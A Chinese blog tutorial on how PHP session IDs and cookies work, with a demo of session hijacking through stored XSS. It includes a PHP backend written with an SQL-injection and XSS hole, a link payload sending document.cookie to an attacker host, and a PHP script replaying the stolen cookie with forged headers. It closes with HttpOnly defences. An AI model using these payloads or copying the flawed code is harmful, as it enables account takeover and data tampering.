1. 程式人生 > >session的根本原理及安全性

session的根本原理及安全性

提到session,大家肯定會聯想到登入,登入成功後記錄登入狀態,同時標記當前登入使用者是誰。功能大體上就是這個樣子,但是今天要講的不是功能,而是實現。通過探討session的實現方式來發掘一些可能你之前不知道的有趣的事情。
為了記錄session,在客戶端和伺服器端都要儲存資料,客戶端記錄一個標記,伺服器端不但儲存了這個標記同時還儲存了這個標記對映的資料。好吧,還是說點白話吧,在客戶端記錄的其實是一個sessionid,在伺服器端記錄的是一個key-value形式的資料結構,這裡的key肯定是指sessionid了,value就代表session的詳細內容。使用者在做http請求的時候,總是會把sessionid傳遞給伺服器,然後伺服器根據這個sessionid來查詢session的內容(也就是上面說到的value)。
現在我們重點關注一下sessionid,他是今天問題的關鍵所在。sessionid在客戶端(http的客戶端一般就是指瀏覽器了)是儲存在cookie中,當然也有例外(書本上肯定會提到也有儲存在url中的,我做程式設計師這麼多年也沒有見過這種方式,這難道就是現實和實際的差距嗎,好殘酷)。
我們通過一個例子來闡述一下這個sessionid在session處理時的作用。首先假定這麼一個場景,我們有一個cms(content management system,內容管理系統),這個應用有一個後臺,使用者必須登入才能進入後臺進行文章發表等操作。首先是登入流程,使用者在瀏覽器輸入使用者名稱、密碼,點選登入,瀏覽器會將使用者名稱密碼提交到伺服器程式進行處理;伺服器驗證使用者名稱、密碼正確後,會返回登入成功資訊,並且會修改伺服器端的session內容,比如我們將使用者ID寫入session中,為了方便儲存這些session的內容會被序列化成字串或者二進位制儲存在檔案或者資料庫中,這時候大多數情況下伺服器在對當前的http請求進行響應時,會返回一個新的sessionid要求瀏覽器寫入本地cookie中,對應的返回的http響應頭部資訊應該會是是這個樣子的:set-cookie:PHPSESSID=xxxxxxx

,瀏覽器解析到這個頭之後就會在當前生成一個cookie關聯當前的域名。

圖1.1 登入時序圖
接著使用者登入後臺進行發表文章操作,登入使用者填寫文章的標題、內容,然後點擊發送。這時候瀏覽器會生成一條到伺服器的http請求,注意這個請求的頭部會將儲存sessionid的cookie內容傳送過去,也就是說請求的http頭部資訊中應該會有這麼一段資料:cookie:PHPSESSID=xxxxxxx;other_cookie_name=yyyyyy;伺服器接收到這個http請求之後,解析到cookie存在,且cookie中存在PHPSESSID這個cookie名字,然後就將PHPSESSID的值(也就是sessionid的值)取出來,根據這個PHPSESSID查詢伺服器上有沒有對應的session內容,如果有則將其對應的值取出來進行反序列序列化(也就是將其轉成程式語言中的一個數據結果,比如在php中會得到一個$_SESSION
陣列,在j2ee中會得到型別為javax.servlet.http.HttpSession),方便在程式中進行讀取,最終伺服器認定session中儲存的值存在,並且從反序列化得到的物件中讀取到了使用者ID屬性,然後就往cms資料庫的文章表中插入了一條資料,最終返回http響應,告訴瀏覽器操作成功了。

圖1.2 發表文章時序圖

2.入侵示例

關於cookie的一些屬性,可以參考我的另一篇博文關於cookie的一些事,裡面會提到一個httponly的屬性,也就是是否禁止js讀取cookie。不幸的是很多常見的伺服器(比如apache和tomcat)在生成這個儲存sessionid的cookie的時候,沒有設定httponly這個屬性,也就是說js是可以將這個sessionid讀取出來的。
js讀取到sessionid,這會有問題嗎?如果沒有問題,我就不在這裡囉嗦了。你網站上的執行的js程式碼並不一定是你寫的,比如說一般網站都有一個發表文章或者說發帖的功能,如果別有用心的人在發表的時候填寫了html程式碼(這些html一般是超連結或者圖片),但是你的後臺又沒有將其過濾掉,發表出來的文章,被其他人點選了其中惡意連結時,就出事了。這也就是我們常說的XSS。


    <?php
    session_start();
    $result = array();
    if (!isset($_SESSION['uid']) || !$_SESSION['uid']) {
        $result['code'] = 2;
        $result['msg'] = '尚未登入';
    } else {
        $uid = $_SESSION['uid'];
        require_once('../globaldb.php');
        if (!isset($_POST['title']) || !$_POST['title']) {
            $result['code'] = 4;
            $result['msg'] = '標題為空';
            goto end;
        }
        if (!isset($_POST['content']) || !$_POST['content']) {
            $result['code'] = 4;
            $result['msg'] = '內容為空';
            goto end;
        }

        if ($db->getStatus()) {
            $title = $_POST['title'];
            $content = $_POST['content'];
            $sql = 'insert into article(title,content,uid,create_time) values("'.$title.'","'.$content.'",'.$uid.',now())';
            $rv = $db->dbExecute($sql);
            if ($rv > 0) {
                $result['code'] = 0;
            } else {
                $result['code'] = 3;
                $result['msg'] = '插入失敗';
            }
        } else {
            $result['code'] = 1;
            $result['msg'] = '資料庫操作失敗';
        }
    }
    end:
    echo (json_encode($result));

程式碼2.1 新增文章的後臺程式碼
這裡給出了一段不靠譜程式碼,之所以這麼說是由於對於提交的內容沒有做過濾,比如說content表單域的內容。現在假設有這麼兩個網站,一個你自己的CMS網站,域名mycms.whyun.com,一個黑客用的網站,域名session.myhack.com。你可以通過配置hosts來模擬這兩個網站,說到這裡可還是推薦一下我之前做過的addhost工具,可以自動生成hosts和vhost配置。程式碼2.1正是mycms網站的程式碼。
登入mycms後在後臺新增一篇文章,文章內容為:

<a href=\"#\" onclick=\'javascript:alert(document.cookie);return false;\'>點選我,有驚喜!</a>

程式碼2.2 alert cookie

圖2.1 顯示cookie的html

開啟剛才生成的文章連結,然後點選點選我,有驚喜!,會顯示當前域下的所有cookie。

圖2.2 cookie被alert出來

當然要想做到攻擊的目的僅僅做這些是不夠的,下面將這個連結的內容做的豐富多彩些。

<a href=\"#\" onclick=\'javascript:var link = this; var head = document.getElementsByTagName(\"head\")[0]; var js = document.createElement(\"script\"); js.src = \"http://session.myhack.com/httphack.php?cook=\"+encodeURIComponent(document.cookie); js.onload = js.onreadystatechange = function(){ if (!this.readyState || this.readyState == \"loaded\" || this.readyState == \"complete\") {head.removeChild(js);  alert(\"over\"); } }; head.appendChild(js);return false;\'>點選我,有驚喜2!</a>

程式碼2.3 跨站請求
這裡為了將程式碼嵌入html,得將其寫作一行,其簡潔模式為:

    var link = this;
    var head = document.getElementsByTagName("head")[0]; 
    var js = document.createElement("script"); 
    js.src = "http://session.myhack.com/httphack.php?cook="+encodeURIComponent(document.cookie); 
    js.onload = js.onreadystatechange = function(){ 
        if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") { 
            head.removeChild(js); 
            alert('開始跳轉真正的地址');location.href=link.getAttribute("href");//
        }
    }; 
    head.appendChild(js);

程式碼2.4 跨站請求簡潔版
為了真正的體現他是超連結還是跳轉到一個地址為妙,所以在簡潔班中指令碼載入結束後做了跳轉,但是為了演示方便,我們在程式碼2.3中沒有這麼做。
現在再點選連結點選我,有驚喜!,檢視一下一下網路請求,會發現一個到session.myhack.com/httphack.php地址的請求,返回資料為var data = {"code":0};

圖2.3 跨站請求

接著看看httphack.php幹了啥:


    <?php
    error_reporting(E_ALL);
    header("Content-type:application/javascript");

     function getRealIp()
    {
        $ip = '127.0.0.1';
        $ipname = array(
            'REMOTE_ADDR',
            'HTTP_CLIENT_IP',
            'HTTP_X_FORWARDED_FOR',
            'HTTP_X_FORWARDED',
            'HTTP_X_CLUSTER_CLIENT_IP',
            'HTTP_FORWARDED_FOR',
            'HTTP_FORWARDED'
        );
       foreach ($ipname as $value)
       {
           if (isset($_SERVER[$value]) && $_SERVER[$value]) {

                $ip = $_SERVER[$value];
                break;
           }
       }
       return $ip;
    }
    $ip = getRealIp();
    $cookies = isset($_GET['cook']) ? $_GET['cook'] : '';
    $headers = array(
        'User-Agent:'.$_SERVER['HTTP_USER_AGENT'],
        'X-FORWARDED-FOR:'.$ip,
        'Remote-Addr:'.$ip,
        'Cookie:'.$cookies
    );
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://mycms.whyun.com/back/article/article_add.php");
    // 設定cURL 引數,要求結果儲存到字串中還是輸出到螢幕上。
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);  //構造IP
    curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);   //構造來路
    curl_setopt($ch, CURLOPT_HEADER, 0);

    curl_setopt($ch, CURLOPT_POST, true);
    $params = array('title'=>'這是跨站攻擊測試','content'=>'網站被跨站攻擊了');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));

    $out = curl_exec($ch);
    curl_close($ch);

    $data = json_encode($headers);
    echo "var data = $out;";

程式碼2.5 偽造session提交

從程式碼2.5中可以看出,我們偽造了http請求的header內容,吧瀏覽器中mycms域的cookie原封不動傳過去了,同時在header還偽造了user-agent和ip,mycms中在校驗session的時候,發現sessionid和user-agent資訊都是對的,所以認為session是存在且合法的!至此為止,我們完成了跨站請求攻擊。

3.防範

第二章節中,我們的攻擊思路是這樣的,我們示例了通過js獲取cookie,然後生成一個第三方網站的網路請求,然後再從第三方網站發起一個網路請求到我們自己的網站上。整個更急流程大體是這樣的:

圖3.1 跨站請求流程

從圖3.1可以看出,讓整個流程無法進行下去的措施有兩個,一個就是加強對提交資訊和頁面顯示資訊的過濾,讓非法提交內容無處施展;第二個就是讓儲存在cookie中的sessionid不能被js讀取到,這樣即使第一步出現漏洞的情況下,依然不會被攻擊者走完整個攻擊流程。
在php中設定sessionid的httponly屬性的方法有很多,具體可以參考 stackoverflow上的一個提問。jsp中也是有很多方法,可以參考開源中國紅薯發表的一篇文章。這裡僅僅貼出來php中一個解決方法,就是在session_start()之後重新設定一下cookie:


    <?php
    $sess_name = session_name();//必須在session_start之前呼叫session_name
    if (session_start()) {
        setcookie($sess_name, session_id(), null, '/', null, null, true);
    }

程式碼3.1 設定httponly屬性為true